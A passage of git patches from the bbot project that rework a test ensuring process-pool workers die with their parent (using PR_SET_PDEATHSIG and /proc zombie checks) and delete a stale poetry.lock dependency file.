a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index 310bda74aa..670514b7df 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -1007,49 +1007,62 @@ async def test_run_in_executor_mp(helpers): assert result == sum(range(50_000)) -@pytest.mark.skipif(not hasattr(os, "uname") or os.uname().sysname != "Linux", reason="PR_SET_PDEATHSIG is Linux-only") def test_pool_workers_die_with_parent(): """Pool workers must not survive when the parent is SIGKILL'd (OOM, crash, etc.).""" import json import signal import subprocess + import tempfile + # write the script to a file so spawn-mode workers can import the initializer script = """ -import os, sys, json, time -from bbot.core.helpers.helper import ConfigAwareHelper +import os, sys, json, time, signal, ctypes, ctypes.util +from concurrent.futures import ProcessPoolExecutor -pool = ConfigAwareHelper._create_process_pool() -# submit blocking work so workers are alive +_PR_SET_PDEATHSIG = 1 + +def _init(): + libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True) + libc.prctl(_PR_SET_PDEATHSIG, signal.SIGTERM, 0, 0, 0) + +pool = ProcessPoolExecutor(max_workers=2, initializer=_init) futures = [pool.submit(time.sleep, 3600) for _ in range(2)] -time.sleep(0.5) +time.sleep(2) pids = [p.pid for p in pool._processes.values()] print(json.dumps(pids), flush=True) time.sleep(3600) """ - proc = subprocess.Popen([sys.executable, "-c", script], stdout=subprocess.PIPE, stderr=subprocess.PIPE) - line = proc.stdout.readline() - worker_pids = json.loads(line) - assert len(worker_pids) >= 2 - - # simulate OOM kill - os.kill(proc.pid, signal.SIGKILL) - proc.wait() - - time.sleep(2) + with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f: + f.write(script) + script_path = f.name - alive = [] - for pid in worker_pids: - try: - os.kill(pid, 0) - alive.append(pid) - except OSError: - pass - - # clean up survivors so they don't leak into other tests - for pid in alive: - os.kill(pid, signal.SIGKILL) - - assert not alive, f"Pool workers {alive} survived parent SIGKILL (zombie leak)" + try: + proc = subprocess.Popen([sys.executable, script_path], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + line = proc.stdout.readline() + worker_pids = json.loads(line) + assert len(worker_pids) >= 2 + + # simulate OOM kill + os.kill(proc.pid, signal.SIGKILL) + proc.wait() + + time.sleep(2) + + alive = [] + for pid in worker_pids: + try: + os.kill(pid, 0) + alive.append(pid) + except OSError: + pass + + # clean up survivors so they don't leak into other tests + for pid in alive: + os.kill(pid, signal.SIGKILL) + + assert not alive, f"Pool workers {alive} survived parent SIGKILL (zombie leak)" + finally: + os.unlink(script_path) def test_simhash_similarity(helpers): From 8c2167fd0e5ac5d30819cc01eb46eaeb2e36a774 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 12:48:00 -0400 Subject: [PATCH 846/912] Fix pool worker test for Python 3.14 Get worker PIDs via futures instead of private pool._processes dict. --- bbot/test/test_step_1/test_helpers.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index 670514b7df..a9950baba2 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -1025,10 +1025,13 @@ def _init(): libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True) libc.prctl(_PR_SET_PDEATHSIG, signal.SIGTERM, 0, 0, 0) +def _get_pid(): + return os.getpid() + pool = ProcessPoolExecutor(max_workers=2, initializer=_init) -futures = [pool.submit(time.sleep, 3600) for _ in range(2)] -time.sleep(2) -pids = [p.pid for p in pool._processes.values()] +pids = [pool.submit(_get_pid).result(timeout=30) for _ in range(2)] +# keep workers busy so they stay alive +[pool.submit(time.sleep, 3600) for _ in range(2)] print(json.dumps(pids), flush=True) time.sleep(3600) """ @@ -1039,6 +1042,7 @@ def _init(): try: proc = subprocess.Popen([sys.executable, script_path], stdout=subprocess.PIPE, stderr=subprocess.PIPE) line = proc.stdout.readline() + assert line, f"Worker script exited early, stderr: {proc.stderr.read().decode()}" worker_pids = json.loads(line) assert len(worker_pids) >= 2 From 5ef9d02f2f3a3ebff75e9f7eb30fb14962c6904b Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 15:44:27 -0400 Subject: [PATCH 847/912] Fix pool worker test: unique PIDs + zombie-aware alive check Use SIGKILL instead of SIGTERM for PR_SET_PDEATHSIG since ProcessPoolExecutor's except BaseException catches SIGTERM's SystemExit. Loop PID collection to ensure unique worker PIDs. Check /proc/PID/stat instead of os.kill(pid, 0) to distinguish zombies from running processes. --- bbot/core/helpers/helper.py | 4 +++- bbot/test/test_step_1/test_helpers.py | 29 ++++++++++++++++++--------- 2 files changed, 22 insertions(+), 11 deletions(-) diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index 7e337dfd47..2cc85dd709 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -34,9 +34,11 @@ def _pool_worker_init(): """Set PR_SET_PDEATHSIG so pool workers die when the parent process dies. Prevents zombie worker accumulation after OOM kills, SIGKILL, etc. + Uses SIGKILL because ProcessPoolExecutor's `except BaseException` catches + SIGTERM's SystemExit, keeping workers alive until the broken pipe surfaces. """ libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True) - libc.prctl(_PR_SET_PDEATHSIG, signal.SIGTERM, 0, 0, 0) + libc.prctl(_PR_SET_PDEATHSIG, signal.SIGKILL, 0, 0, 0) class ConfigAwareHelper: diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index a9950baba2..db2523d5b5 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -1014,7 +1014,6 @@ def test_pool_workers_die_with_parent(): import subprocess import tempfile - # write the script to a file so spawn-mode workers can import the initializer script = """ import os, sys, json, time, signal, ctypes, ctypes.util from concurrent.futures import ProcessPoolExecutor @@ -1023,13 +1022,19 @@ def test_pool_workers_die_with_parent(): def _init(): libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True) - libc.prctl(_PR_SET_PDEATHSIG, signal.SIGTERM, 0, 0, 0) + libc.prctl(_PR_SET_PDEATHSIG, signal.SIGKILL, 0, 0, 0) def _get_pid(): return os.getpid() pool = ProcessPoolExecutor(max_workers=2, initializer=_init) -pids = [pool.submit(_get_pid).result(timeout=30) for _ in range(2)] +# loop until we've seen both workers (sequential submission can hit the same one) +pids = set() +for _ in range(20): + pids.add(pool.submit(_get_pid).result(timeout=30)) + if len(pids) >= 2: + break +pids = list(pids) # keep workers busy so they stay alive [pool.submit(time.sleep, 3600) for _ in range(2)] print(json.dumps(pids), flush=True) @@ -1039,6 +1044,16 @@ def _get_pid(): f.write(script) script_path = f.name + def _is_running(pid): + """Check /proc to distinguish running processes from zombies.""" + try: + with open(f"/proc/{pid}/stat") as f: + # format: "pid (comm) state ..." -- state after the last ')' + state = f.read().split(")")[-1].strip().split()[0] + return state not in ("Z", "X", "x") + except (OSError, IndexError): + return False + try: proc = subprocess.Popen([sys.executable, script_path], stdout=subprocess.PIPE, stderr=subprocess.PIPE) line = proc.stdout.readline() @@ -1052,13 +1067,7 @@ def _get_pid(): time.sleep(2) - alive = [] - for pid in worker_pids: - try: - os.kill(pid, 0) - alive.append(pid) - except OSError: - pass + alive = [pid for pid in worker_pids if _is_running(pid)] # clean up survivors so they don't leak into other tests for pid in alive: From efa6db6aec95b61dca040afb3cfa03e458cd24ab Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 17:17:03 -0400 Subject: [PATCH 848/912] Add __main__ guard for Python 3.14 forkserver compatibility Python 3.14 defaults to forkserver, which re-imports the script file. Without the guard the forkserver child re-executes pool creation and crashes. --- bbot/test/test_step_1/test_helpers.py | 25 +++++++++++++------------ 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index db2523d5b5..971c60fda7 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -1027,18 +1027,19 @@ def _init(): def _get_pid(): return os.getpid() -pool = ProcessPoolExecutor(max_workers=2, initializer=_init) -# loop until we've seen both workers (sequential submission can hit the same one) -pids = set() -for _ in range(20): - pids.add(pool.submit(_get_pid).result(timeout=30)) - if len(pids) >= 2: - break -pids = list(pids) -# keep workers busy so they stay alive -[pool.submit(time.sleep, 3600) for _ in range(2)] -print(json.dumps(pids), flush=True) -time.sleep(3600) +if __name__ == "__main__": + pool = ProcessPoolExecutor(max_workers=2, initializer=_init) + # loop until we've seen both workers (sequential submission can hit the same one) + pids = set() + for _ in range(20): + pids.add(pool.submit(_get_pid).result(timeout=30)) + if len(pids) >= 2: + break + pids = list(pids) + # keep workers busy so they stay alive + [pool.submit(time.sleep, 3600) for _ in range(2)] + print(json.dumps(pids), flush=True) + time.sleep(3600) """ with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f: f.write(script) From 15d061fc5ad5441374f722e47faf05be027b31aa Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 17:23:40 -0400 Subject: [PATCH 849/912] Remove stale poetry.lock re-introduced by dependabot merges --- poetry.lock | 4086 --------------------------------------------------- 1 file changed, 4086 deletions(-) delete mode 100644 poetry.lock diff --git a/poetry.lock b/poetry.lock deleted file mode 100644 index 8f462d6e6e..0000000000 --- a/poetry.lock +++ /dev/null @@ -1,4086 +0,0 @@ -# This file is automatically @generated by Poetry 2.3.4 and should not be changed by hand. - -[[package]] -name = "annotated-doc" -version = "0.0.4" -description = "Document parameters, class attributes, return types, and variables inline, with Annotated." -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320"}, - {file = "annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4"}, -] - -[[package]] -name = "annotated-types" -version = "0.7.0" -description = "Reusable constraint types to use with typing.Annotated" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53"}, - {file = "annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89"}, -] - -[[package]] -name = "ansible-core" -version = "2.17.14" -description = "Radically simple IT automation" -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "ansible_core-2.17.14-py3-none-any.whl", hash = "sha256:34a49582a57c2f2af17ede2cefd3b3602a2d55d22089f3928570d52030cafa35"}, - {file = "ansible_core-2.17.14.tar.gz", hash = "sha256:7c17fee39f8c29d70e3282a7e9c10bd70d5cd4fd13ddffc5dcaa52adbd142ff8"}, -] - -[package.dependencies] -cryptography = "*" -jinja2 = ">=3.0.0" -packaging = "*" -PyYAML = ">=5.1" -resolvelib = ">=0.5.3,<1.1.0" - -[[package]] -name = "ansible-runner" -version = "2.4.3" -description = "\"Consistent Ansible Python API and CLI with container and process isolation runtime capabilities\"" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "ansible_runner-2.4.3-py3-none-any.whl", hash = "sha256:cdac6daa151a50084ffda710e769db23fa975fc0507796191d7708831b286e37"}, - {file = "ansible_runner-2.4.3.tar.gz", hash = "sha256:5f3025529bb968fdc3b627457dd8d418dbf9d53bc73735d50e69c28544d53031"}, -] - -[package.dependencies] -packaging = "*" -pexpect = ">=4.5" -python-daemon = "*" -pyyaml = "*" - -[[package]] -name = "antlr4-python3-runtime" -version = "4.9.3" -description = "ANTLR 4.9.3 runtime for Python 3.7" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "antlr4-python3-runtime-4.9.3.tar.gz", hash = "sha256:f224469b4168294902bb1efa80a8bf7855f24c99aef99cbefc1bcd3cce77881b"}, -] - -[[package]] -name = "anyio" -version = "4.13.0" -description = "High-level concurrency and networking framework on top of asyncio or Trio" -optional = false -python-versions = ">=3.10" -groups = ["main", "dev"] -files = [ - {file = "anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708"}, - {file = "anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc"}, -] - -[package.dependencies] -exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""} -idna = ">=2.8" -typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""} - -[package.extras] -trio = ["trio (>=0.32.0)"] - -[[package]] -name = "asndb" -version = "1.0.4" -description = "A simple Python CLI + library for looking up ASNs by IP or AS number. Uses BBOT.IO API." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "asndb-1.0.4-py3-none-any.whl", hash = "sha256:a62e4f5872e12cbd4b146c7583f7bf2a5239e43ed20a63728295058ee3f1a3db"}, - {file = "asndb-1.0.4.tar.gz", hash = "sha256:23989a4a09e66b76a86b1a36eea78138b4a3001b5f909bb89e110635bb1723f2"}, -] - -[package.dependencies] -cachetools = ">=6.2.1" -httpx = ">=0.28.1" -radixtarget = ">=4.0.1" -typer = ">=0.19.2" - -[[package]] -name = "babel" -version = "2.18.0" -description = "Internationalization utilities" -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "babel-2.18.0-py3-none-any.whl", hash = "sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35"}, - {file = "babel-2.18.0.tar.gz", hash = "sha256:b80b99a14bd085fcacfa15c9165f651fbb3406e66cc603abf11c5750937c992d"}, -] - -[package.extras] -dev = ["backports.zoneinfo ; python_version < \"3.9\"", "freezegun (>=1.0,<2.0)", "jinja2 (>=3.0)", "pytest (>=6.0)", "pytest-cov", "pytz", "setuptools", "tzdata ; sys_platform == \"win32\""] - -[[package]] -name = "backports-asyncio-runner" -version = "1.2.0" -description = "Backport of asyncio.Runner, a context manager that controls event loop life cycle." -optional = false -python-versions = "<3.11,>=3.8" -groups = ["dev"] -markers = "python_version == \"3.10\"" -files = [ - {file = "backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5"}, - {file = "backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162"}, -] - -[[package]] -name = "backrefs" -version = "6.2" -description = "A wrapper around re and regex that adds additional back references." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "backrefs-6.2-py310-none-any.whl", hash = "sha256:0fdc7b012420b6b144410342caeb8adc54c6866cf12064abc9bb211302e496f8"}, - {file = "backrefs-6.2-py311-none-any.whl", hash = "sha256:08aa7fae530c6b2361d7bdcbda1a7c454e330cc9dbcd03f5c23205e430e5c3be"}, - {file = "backrefs-6.2-py312-none-any.whl", hash = "sha256:c3f4b9cb2af8cda0d87ab4f57800b57b95428488477be164dd2b47be54db0c90"}, - {file = "backrefs-6.2-py313-none-any.whl", hash = "sha256:12df81596ab511f783b7d87c043ce26bc5b0288cf3bb03610fe76b8189282b2b"}, - {file = "backrefs-6.2-py314-none-any.whl", hash = "sha256:e5f805ae09819caa1aa0623b4a83790e7028604aa2b8c73ba602c4454e665de7"}, - {file = "backrefs-6.2-py39-none-any.whl", hash = "sha256:664e33cd88c6840b7625b826ecf2555f32d491800900f5a541f772c485f7cda7"}, - {file = "backrefs-6.2.tar.gz", hash = "sha256:f44ff4d48808b243b6c0cdc6231e22195c32f77046018141556c66f8bab72a49"}, -] - -[package.extras] -extras = ["regex"] - -[[package]] -name = "baddns" -version = "2.1.0" -description = "Check subdomains for subdomain takeovers and other DNS tomfoolery" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "baddns-2.1.0-py3-none-any.whl", hash = "sha256:1cf722f394e33eb26700c1ef717dcd01a451a241607cac3d62c95d355de5e514"}, - {file = "baddns-2.1.0.tar.gz", hash = "sha256:30058b22dffcf16f7f195e7b298b099cb817c264324cec06c47a264ac2b29309"}, -] - -[package.dependencies] -blastdns = "1.9.1" -cloudcheck = ">=9,<10" -colorama = ">=0.4.6" -dnspython = ">=2.4.2" -httpx = ">=0.27.0,<0.29.0" -python-dateutil = "2.9.0.post0" -python-whois = ">=0.9.6" -pyyaml = ">=6.0.1" -tldextract = ">=5.1.1" - -[[package]] -name = "beautifulsoup4" -version = "4.14.3" -description = "Screen-scraping library" -optional = false -python-versions = ">=3.7.0" -groups = ["main", "docs"] -files = [ - {file = "beautifulsoup4-4.14.3-py3-none-any.whl", hash = "sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb"}, - {file = "beautifulsoup4-4.14.3.tar.gz", hash = "sha256:6292b1c5186d356bba669ef9f7f051757099565ad9ada5dd630bd9de5fa7fb86"}, -] - -[package.dependencies] -soupsieve = ">=1.6.1" -typing-extensions = ">=4.0.0" - -[package.extras] -cchardet = ["cchardet"] -chardet = ["chardet"] -charset-normalizer = ["charset-normalizer"] -html5lib = ["html5lib"] -lxml = ["lxml"] - -[[package]] -name = "blastdns" -version = "1.9.1" -description = "Async Python interface on top of the BlastDNS resolver" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -files = [ - {file = "blastdns-1.9.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:fc9a0c8808b90748dadc224e86a21fed75c1ccfa7df682906401790069262816"}, - {file = "blastdns-1.9.1-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:077dfd2eb020ea7d120c18263a3f646bcd8dfe1e0d6d1c1f604d5034892d3404"}, - {file = "blastdns-1.9.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:eb7833f85bbb8ac246ec55ca5aa9bf622f18d61f6566b4fbc6b3c42e99eae5a7"}, - {file = "blastdns-1.9.1-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:911516924ff9652cae0905ba218cd58f03d6e4c4d8972d8c00a3540496a15dad"}, - {file = "blastdns-1.9.1-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:693ba5b6820c6ab8cfd37202babeef354a2fca45ce51afcd8ffa912f2a50e82e"}, - {file = "blastdns-1.9.1-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:06ebb94fbcc130acfc73356b36f135f9ca655a5ced9780c3ff9bee6394c91639"}, - {file = "blastdns-1.9.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:99966441bfed1f5b45abf6c736be5d9bc141946ffe7582a1fbfd90386b16d4af"}, - {file = "blastdns-1.9.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:dd587b057bebdf2797cafa69923425312a038a56b4f48e740db1ce9584d4169a"}, - {file = "blastdns-1.9.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:f45a4fb8dc5d84bc94b266230329ca4e14ae1e43a65f45e1ba52c1ab8509964b"}, - {file = "blastdns-1.9.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:98b9ea17704491fd6d1e40a183222439403433ab2046f8e323ed10dcac5ab214"}, - {file = "blastdns-1.9.1-cp310-cp310-win_amd64.whl", hash = "sha256:8581a729dd9f32cca8edef0fd8c0529be81fe8ca7faef497f1712b5277c0b896"}, - {file = "blastdns-1.9.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:67f52aa4880bed47da178065c8b2935cc41f526a340e0a1dae90f2eb641f99f8"}, - {file = "blastdns-1.9.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9dda8352acba5c9b7e498c61f73f28120e312e441a37d26d8912ddb8c8876b11"}, - {file = "blastdns-1.9.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:b967cba75fd757b0e954cf4fb3d69c9fb39d95871316a9cf0bb0c2dc5e720077"}, - {file = "blastdns-1.9.1-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:7a51dce160ffee92b548553b8c01d50ffa6d1f4c16d153df6ec36cc04e4ce8cc"}, - {file = "blastdns-1.9.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:f9fb56f9f8a672518968f7a4d882718c75b4b42629baa76f55c8bb4f60c6d8d1"}, - {file = "blastdns-1.9.1-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:d0d23e22bdbf4fc8f4c32ff073603c56c6efb9f4911a168d9f004de664a5b13f"}, - {file = "blastdns-1.9.1-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:0e7603dc7e5fef925d03b5f28d75164e634ef2d6fc5b960671d0cf88380d7b70"}, - {file = "blastdns-1.9.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:8d2cc4189b98fd6d2ca2b41043f0a501455e8043562f9086fafb25c93ef053ad"}, - {file = "blastdns-1.9.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6e31c987da6b52c1194ec057c932400b72f729922fa18737b68a868df5911d27"}, - {file = "blastdns-1.9.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:da747e424bea405fc11ad7cb71ea36a082c100e40c0fc18855e209104f4e08d6"}, - {file = "blastdns-1.9.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:801224d7006b61789378addae8751aeb7c7877c8ecf19b515f4a856230fc68bc"}, - {file = "blastdns-1.9.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1ce70a659667f3adc7c0eac7d4b2c6f4c9f8429367254ec5308d04f36213f935"}, - {file = "blastdns-1.9.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ab93ca714cb913423e2780b2c3881a1303fa21948c5602795262c9bd51c702b"}, - {file = "blastdns-1.9.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:e46c938ce8eec89384c82b68fd62fa2f76935d4d68d1ba51f199008c1a8b056b"}, - {file = "blastdns-1.9.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b1eead79b192af541f4e89328aaed7e675254a56583d406dcc5cc527b1ed0662"}, - {file = "blastdns-1.9.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:d0d6a6d4654032b2fc1a1df1bb145afb83989c23160da5b629c64e797a6f3027"}, - {file = "blastdns-1.9.1-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:cb5745b8f4ea3929d090dfa18126b9094986ea2e5808a54cdb58a355e1360a82"}, - {file = "blastdns-1.9.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:7bd6bfc82e08624d1b40f1e4822b548f63829351e7f72080d69099b32fdb8361"}, - {file = "blastdns-1.9.1-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:e23dc048586e8b20523ecbc4c5931d8bc5485e79200207c4c6f91ad4b5ea980f"}, - {file = "blastdns-1.9.1-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:6c0472de6616e7ed20b5fb3784c41b52e64a0ff1079106be0140c6f00e19f6c6"}, - {file = "blastdns-1.9.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:775dbd6b7d1eccb3375a9f17f43723ddf79a1d12ae1d202d3f587101aff21db1"}, - {file = "blastdns-1.9.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:40bff362bd9be708197d5c548ad7f006688d763cada1faee44ae1e7d2acb06ef"}, - {file = "blastdns-1.9.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:408c30d61126c1cc0ecacb1011ed6ef2f34840e937e2def22f3ed943ad6ba8f4"}, - {file = "blastdns-1.9.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:9af85ef741d4f230ea55f12d4876b1123562f51ce9b9f7d58b6f52d3d84395c1"}, - {file = "blastdns-1.9.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3339b69fc959292a66ea724b0d5e9563c4ca0be7dd48fc78adb8914a3c82ab57"}, - {file = "blastdns-1.9.1-cp312-cp312-win_amd64.whl", hash = "sha256:074b0ffe33ed57d6bef65d0120fa508d855f49910a1ed51ee6c3920e6ffc73bf"}, - {file = "blastdns-1.9.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:3fe8fecc19fdb3ee6bcfcd4242c9e2433254c8c40d1b57fa40d6190eadd73da7"}, - {file = "blastdns-1.9.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b84013fc47cebeac3093f4feaeed3a4d5f45d82eebdffb73bde610e8e30f3399"}, - {file = "blastdns-1.9.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:7e2f7b28bff77a5c5627f1f85069309e3c4039d4d277756e84d2d5c229716c16"}, - {file = "blastdns-1.9.1-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:4668ccfde0215c685a81e3e121ef5d0eafccdb940bb7f9d3f7b8ffb004955b51"}, - {file = "blastdns-1.9.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:9f4b05ba48357b70f0ee9ff6dfc581aa3af55040e4b0db4e43c53e4c3d5c8e58"}, - {file = "blastdns-1.9.1-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:6da53361836a9b6d05daf391d8ce8f765de881e394827d5314021cb4c013eec7"}, - {file = "blastdns-1.9.1-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:a10dbdcda0ab8c9cf641163cb568d820d51282d848bdd0c8627a51f3f6038163"}, - {file = "blastdns-1.9.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:1f3400075b16905fd6837902511fed9c4b98b13de3cad8e3a78cf6d0e78f8124"}, - {file = "blastdns-1.9.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a32a1e51d34b9e926a9c218c166a254d57c120a2f7b963f04fe81fd3d45f35ed"}, - {file = "blastdns-1.9.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:fbd5f5cd402b3075254e03b608c48e25825ea806421437e74c5fc833716a86a6"}, - {file = "blastdns-1.9.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3c398d2c3780e50e1a12515e0ada2eb7c510e6d699ad60d6c6382352ba4a5db5"}, - {file = "blastdns-1.9.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:11057e252c5545f1f89a4f5413a396366686799dd48b11e7c6dcad44d05df47e"}, - {file = "blastdns-1.9.1-cp313-cp313-win_amd64.whl", hash = "sha256:a0dc5dd486fec357fbcde1ff2f4dd3bcc4baa02323d46cc749c9a8f0fa810435"}, - {file = "blastdns-1.9.1-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:5bf0c8445d9d4cc0ce7668ddb2358e5c90ce711eb2001d5fd742fc30bdf6b9ff"}, - {file = "blastdns-1.9.1-cp313-cp313t-manylinux_2_28_armv7l.whl", hash = "sha256:0d3f1498eb37543ecbf92719aae8eda22c4cabbf14e1a1ba6c6a3e5a9157b2df"}, - {file = "blastdns-1.9.1-cp313-cp313t-manylinux_2_28_ppc64le.whl", hash = "sha256:1be2eb559002355311fd9f584a3ed4dc4b9b5fa4255864f39779203ad3d71228"}, - {file = "blastdns-1.9.1-cp313-cp313t-manylinux_2_28_s390x.whl", hash = "sha256:8b207ea568b9dfc62e0fc5a848afa15448311ec3f2dbcc519327399f6604f087"}, - {file = "blastdns-1.9.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4f4f11a2fa4b9aa7d735252e4cfa515e51330d019065ed575a71ceb645a7fc13"}, - {file = "blastdns-1.9.1-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:072b0f20ed5a23ce9a69d93fc0f4f840ca03e92a02290640c32c08e51e85e09a"}, - {file = "blastdns-1.9.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:8985b6a5d88c57d9d3b566551b37a09349c0a30234167148c3d80423abbe9c8c"}, - {file = "blastdns-1.9.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:306e7ba2b9a0a3a9a38086ee8d187a33aae5979b588ad80bfb5ecd01633c298b"}, - {file = "blastdns-1.9.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:337771fc54faafbdda2206426c362839961253a4959135767e9014ff4db879ca"}, - {file = "blastdns-1.9.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:6015697b4fe9dc4ff2bc397367ae726c6e6cd87bdb86e1d6b5c6856d0914beb7"}, - {file = "blastdns-1.9.1-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:01b2f1da7fe1fb44fd1af52c337979bb7284b727f971d83aa761a4887a22adb2"}, - {file = "blastdns-1.9.1-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:147d815a686771709c96803319233218310efb0247644df4f0d6958cb4f9b65c"}, - {file = "blastdns-1.9.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:ad4d1bb7b9fa57a7aec368a84d6830663b8f16550769edf273cf21e992425824"}, - {file = "blastdns-1.9.1-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:f2af21539691a44409020ef2260b63ac8f4ae0ee838a8e21ba51d3d480c2015c"}, - {file = 